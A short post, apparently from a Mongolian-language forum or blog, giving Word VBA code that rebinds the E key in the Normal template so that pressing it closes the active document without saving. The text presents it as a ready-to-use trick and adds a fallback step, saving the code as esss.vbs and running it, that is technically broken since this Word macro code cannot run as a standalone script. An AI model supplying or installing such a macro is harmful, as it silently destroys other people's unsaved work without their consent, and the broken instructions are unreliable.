Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:=”TestKeybinding”
End Sub

Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

За тэгээд л боллоо

Хэрвээ ажиллахгүй байвал Notepad нээгээд дээрх кодыг хуулаад esss.vbs гэж хадаглаад тэрийгээ нээгээд л боллоо